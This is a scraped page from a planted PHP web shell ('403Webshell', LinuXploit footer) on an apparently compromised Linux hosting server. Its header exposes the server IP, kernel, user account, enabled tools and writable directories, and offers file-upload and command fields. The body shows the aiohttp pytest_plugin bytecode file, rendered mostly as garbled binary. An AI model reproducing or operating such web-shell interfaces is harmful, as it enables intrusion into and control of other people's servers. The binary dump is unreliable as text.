403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.138.121.183
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/aiohttp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/aiohttp/__pycache__/pytest_plugin.cpython-37.pyc
B

�k�a�-�@sddlZddlZddlZddlmZddlmZmZmZmZm	Z	m
Z
mZddlZddl
mZmZddlmZddlmZmZmZmZmZmZmZmZyddlZWnek
r�dZYnXyddlZWnek
r�dZYnXeeeefgeefZdd	�Z d
d�Z!ej"dd
��Z#ej"dd��Z$ej%dd��Z&ej%d0dd��Z'dd�Z(dd�Z)dd�Z*ej"dd��Z+ej"dd��Z,ej"dd ��Zej"d!d"��Z-ej"d#d$��Z.ej"d%d&��Z/ej"d'd(��Z0ej"d)d*��Z1ej"ej2e	eddfd+�d,d-��Z3ej"d.d/��Z4dS)1�N)�Callable)�Any�	Awaitabler�Dict�	Generator�Optional�Union)�PY_37�isasyncgenfunction)�Application�)�BaseTestServer�
RawTestServer�
TestClient�
TestServer�loop_context�setup_test_loop�teardown_test_loop�unused_portcCs:|jddddd�|jdddd	d�|jd
dddd�dS)Nz--aiohttp-fast�
store_trueFz*run tests faster by disabling extra checks)�action�default�helpz--aiohttp-loop�store�pyloopz:run tests with specific loop: pyloop, uvloop, tokio or allz--aiohttp-enable-loop-debugzenable event loop debug mode)Z	addoption)�parser�r�H/opt/alt/python37/lib64/python3.7/site-packages/aiohttp/pytest_plugin.py�pytest_addoption$srcsb|j�t��rd�nt���r$d�ndSd�d|jkrH|jd7_d����fdd�}||_dS)zjSet up pytest fixture.

    Allow fixtures to be coroutines. Run coroutine fixtures in an event loop.
    TFN�request)rcsv|d}�r|d=d|jkr$td��|�d���rb�||����fdd�}|�|�������S���||��SdS)Nr�loopz^Asynchronous fixtures must depend on the 'loop' fixture or be used in tests depending from it.cs(y������Stk
r"YnXdS)N)�run_until_complete�	__anext__�StopAsyncIterationr)�_loop�genrr�	finalizerdsz8pytest_fixture_setup.<locals>.wrapper.<locals>.finalizer)�fixturenames�	ExceptionZgetfixturevalueZaddfinalizerr!r")�args�kwargsrr&)�func�is_async_gen�
strip_request)r$r%r�wrapperOs



z%pytest_fixture_setup.<locals>.wrapper)r+r
�asyncio�iscoroutinefunction�argnames)Z
fixturedefr.r)r+r,r-r�pytest_fixture_setup9s

 r2cCs|j�d�S)z--fast config optionz--aiohttp-fast)�config�	getoption)rrrr�fastrsr5cCs|j�d�S)z!--enable-loop-debug config optionz--aiohttp-enable-loop-debug)r3r4)rrrr�
loop_debugxsr6c	cs`tjdd��J}dVdd�|D�}|rRtd�t|�t|�dkrBdnd	d
�|����WdQRXdS)z�Context manager which checks for RuntimeWarnings.

    This exists specifically to
    avoid "coroutine 'X' was never awaited" warnings being missed.

    If RuntimeWarnings occur in the context a RuntimeError is raised.
    T)�recordNcSs"g|]}|jtkrdj|d��qS)z#{w.filename}:{w.lineno}:{w.message})�w)�category�RuntimeWarning�format)�.0r8rrr�
<listcomp>�sz,_runtime_warning_context.<locals>.<listcomp>z{} Runtime Warning{},
{}r��s�
)�warnings�catch_warnings�RuntimeErrorr;�len�join)�	_warnings�rwrrr�_runtime_warning_context~s	rHFccs(|r|Vnt�}|Vt||d�dS)z�Passthrough loop context.

    Sets up and tears down a loop unless one is passed in via the loop
    argument when it's passed straight through.
    )r5N)rr)r r5rrr�_passthrough_loop_context�s
rIcCs(|�|�r$t�|�r$t|�||��SdS)z%Fix pytest collecting for coroutines.N)Zfuncnamefilterr/r0�listZ
_genfunctions)Z	collector�name�objrrr�pytest_pycollect_makeitem�srMc
s��j�d�}t��j�r��j�d�p0�j�dd�}t��Ft||d��.}�fdd��j	j
D�}|��jf|��WdQRXWdQRXdSdS)	zBRun coroutines in an event loop instead of a normal function call.z--aiohttp-fast�
proactor_loopr N)r5csi|]}�j||�qSr)�funcargs)r<�arg)�
pyfuncitemrr�
<dictcomp>�sz&pytest_pyfunc_call.<locals>.<dictcomp>T)
r3r4r/r0�functionrO�getrHrIZ_fixtureinfor1r!rL)rQr5Z
existing_loopr$Ztestargsr)rQr�pytest_pyfunc_call�s
&rUcCs�d|jkrdS|jjj}dtji}tdk	r4tj|d<tdk	rFtj|d<|dkrRd}i}x\|�	d�D]N}|�
d�}|�d	�}||kr�|rbtd
|t
|���f��nqb||||<qbW|jdt
|���t
|���d�dS)N�loop_factoryr�uvloop�tokio�allzpyloop,uvloop?,tokio?�,�?z ?z&Unknown loop '%s', available loops: %s)Zids)r'r3�optionZaiohttp_loopr/ZDefaultEventLoopPolicyrWZEventLoopPolicyrX�split�endswith�strip�
ValueErrorrJ�keysZparametrize�values)ZmetafuncZloopsZavail_factoriesZ	factoriesrK�requiredrrr�pytest_generate_tests�s.





rdc	csH|�}t�|�t|d��$}|r*|�d�t�|�|VWdQRXdS)z%Return an instance of the event loop.)r5TN)r/�set_event_loop_policyrZ	set_debug�set_event_loop)rVr5r6�policyr$rrrr �s


r c	csRtst��}tj|_nt��}t�|�t|j��}t�	|�|VWdQRXdS)N)
r	r/Zget_event_loop_policyZProactorEventLoopZ
_loop_factoryZWindowsProactorEventLoopPolicyrerZnew_event_looprf)rgr$rrrrN�s


rNcCstjdtdd�|S)Nz3Deprecated, use aiohttp_unused_port fixture instead�)�
stacklevel)rA�warn�DeprecationWarning)�aiohttp_unused_portrrrr�s
rcCstS)z1Return a port that is unused on the current host.)�_unused_portrrrrrlsrlc#s@g�dd���fdd�
}|Vdd��fdd�}��|��dS)z^Factory to create a TestServer instance, given an app.

    aiohttp_server(app, **kwargs)
    N)�portc�s4t||d�}|jfd�i|��IdH��|�|S)N)rnr )r�start_server�append)Zapprnr*�server)r �serversrr�gos
zaiohttp_server.<locals>.go)�returnc�s x�r�����IdHqWdS)N)�pop�closer)rrrr�finalizesz aiohttp_server.<locals>.finalize)r!)r rsrwr)r rrr�aiohttp_servers
rxcCstjdtdd�|S)Nz.Deprecated, use aiohttp_server fixture insteadrh)ri)rArjrk)rxrrr�test_server"s
ryc#s@g�dd���fdd�
}|Vdd��fdd�}��|��dS)zpFactory to create a RawTestServer instance, given a web handler.

    aiohttp_raw_server(handler, **kwargs)
    N)rnc�s4t||d�}|jfd�i|��IdH��|�|S)N)rnr )rrorp)�handlerrnr*rq)r rrrrrs4s
zaiohttp_raw_server.<locals>.go)rtc�s x�r�����IdHqWdS)N)rurvr)rrrrrw<sz$aiohttp_raw_server.<locals>.finalize)r!)r rsrwr)r rrr�aiohttp_raw_server,s
r{cCstjdtdd�|S)Nz2Deprecated, use aiohttp_raw_server fixture insteadrh)ri)rArjrk)r{rrr�raw_test_serverCs
r|)r rtc#sbg�dd�tttftttttfttd���fdd�}|Vdd��fdd�}��|��dS)	z�Factory to create a TestClient instance.

    aiohttp_client(app, **kwargs)
    aiohttp_client(server, **kwargs)
    aiohttp_client(raw_server, **kwargs)
    N)�
server_kwargs)�__paramr)r}r*rtc�s�t|t�r.t|ttf�s.|�f|�|�}i}n|r:td��t|t�rv|pJi}t|fd�i|��}t|fd�i|��}n0t|t�r�t|fd�i|��}ntdt|���|�	�IdH��
|�|S)Nzargs should be emptyr zUnknown argument type: %r)�
isinstancerrr
�AssertionErrorrrr`�typerorp)r~r}r)r*rqZclient)�clientsr rrrs[s


zaiohttp_client.<locals>.go)rtc�s x�r�����IdHqWdS)N)rurvr)r�rrrwysz aiohttp_client.<locals>.finalize)	rrr
rrr�strrr!)r rsrwr)r�r r�aiohttp_clientOs
 r�cCstjdtdd�|S)Nz.Deprecated, use aiohttp_client fixture insteadrh)ri)rArjrk)r�rrr�test_client�s
r�)F)5r/�
contextlibrA�collections.abcr�typingrrrrrrZpytestZaiohttp.helpersr	r
Zaiohttp.webrZ
test_utilsr
rrrrrrrrmrW�ImportErrorrXZ
AiohttpClientrr2Zfixturer5r6�contextmanagerrHrIrMrUrdr rNrlrxryr{r|ZAbstractEventLoopr�r�rrrr�<module>sN$(

9"

.

Youez - 2016 - github.com/yon3zu
LinuXploit